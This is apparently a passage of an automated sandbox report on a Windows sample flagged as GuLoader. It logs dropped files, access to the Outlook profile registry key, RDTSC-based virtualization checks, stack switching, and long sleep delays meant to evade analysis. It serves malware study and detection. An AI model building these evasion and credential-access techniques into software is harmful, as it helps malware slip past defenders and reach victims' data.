Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe

File written: C:\Users\user\AppData\Local\Temp\tmc.ini

Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: OeM750ajqm.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000003.00000002.1450395666.000000000731A000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Code function: 3_2_6D6C1B28 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

3_2_6D6C1B28

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06529C30 push esp; retf 0654h	4_2_06529D55
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06528C2F pushfd ; iretd	4_2_06528C30
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_06528DDF push esp; iretd	4_2_06528DE0
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_065268F1 push es; ret	4_2_06526900
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_0652891E pushad ; iretd	4_2_0652891F

Source: C:\Users\user\Desktop\OeM750ajqm.exe

File created: C:\Users\user\AppData\Local\Temp\nst74DF.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\OeM750ajqm.exe	API/Special instruction interceptor: Address: 7D07734
Source: C:\Users\user\Desktop\OeM750ajqm.exe	API/Special instruction interceptor: Address: 4077734

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\OeM750ajqm.exe	RDTSC instruction interceptor: First address: 7CC82A0 second address: 7CC82A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F03F0D3D81Ah 0x00000004 test dx, FCADh 0x00000009 cmp ebx, ecx 0x0000000b jc 00007F03F0D3D79Bh 0x0000000d inc ebp 0x0000000e inc ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\OeM750ajqm.exe	RDTSC instruction interceptor: First address: 40382A0 second address: 40382A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F03F1161BAAh 0x00000004 test dx, FCADh 0x00000009 cmp ebx, ecx 0x0000000b jc 00007F03F1161B2Bh 0x0000000d inc ebp 0x0000000e inc ebx 0x0000000f rdtsc

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Memory allocated: 6520000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Memory allocated: 36C80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Memory allocated: 38C80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599666	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598248	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597779	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597659	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597527	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597421	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597298	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597062	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595420	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595202	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595092	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 594983	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 594874	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 594653	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 594540	Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Window / User API: threadDelayed 8273			Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Window / User API: threadDelayed 1584			Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nst74DF.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\OeM750ajqm.exe

API coverage: 0.2 %

Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -31359464925306218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -599889s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3576	Thread sleep count: 8273 > 30	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3576	Thread sleep count: 1584 > 30	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -599666s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -598248s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -597779s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -597659s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -597527s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -597421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -597298s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -597172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -597062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -596953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -596843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -596734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -596625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -596515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -596406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -596297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -596187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -595968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -595859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -595750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -595640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -595420s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -595312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -595202s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -595092s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -594983s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -594874s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -594765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -594653s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe TID: 3996	Thread sleep time: -594540s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 3_2_00406751 FindFirstFileA,FindClose,	3_2_00406751
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 3_2_00405B80 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	3_2_00405B80
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 3_2_004027CF FindFirstFileA,	3_2_004027CF
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_00406751 FindFirstFileA,FindClose,	4_2_00406751
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_004027CF FindFirstFileA,	4_2_004027CF
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Code function: 4_2_00405B80 CloseHandle,GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	4_2_00405B80

Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599666	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598248	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597779	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597659	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597527	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597421	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597298	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 597062	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595420	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595202	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 595092	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 594983	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 594874	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 594765	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 594653	Jump to behavior
Source: C:\Users\user\Desktop\OeM750ajqm.exe	Thread delayed: delay time: 594540	Jump to behavior

Source: OeM750ajqm.exe, 00000004.00000002.2532604469.00000000066BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf
Source: OeM750ajqm.exe, 00000004.00000002.2532604469.00000000066BD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\OeM750ajqm.exe	API call chain: ExitProcess graph end node			graph_3-4881
Source: C:\Users\user\Desktop\OeM750ajqm.exe	API call chain: ExitProcess graph end node			graph_3-5048

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Code function: 3_2_6D6C1B28 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

3_2_6D6C1B28

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\OeM750ajqm.exe

Process created: C:\Users\user\Desktop\OeM750ajqm.exe "C:\Users\user\Desktop\OeM750ajqm.exe"

Jump to behavior

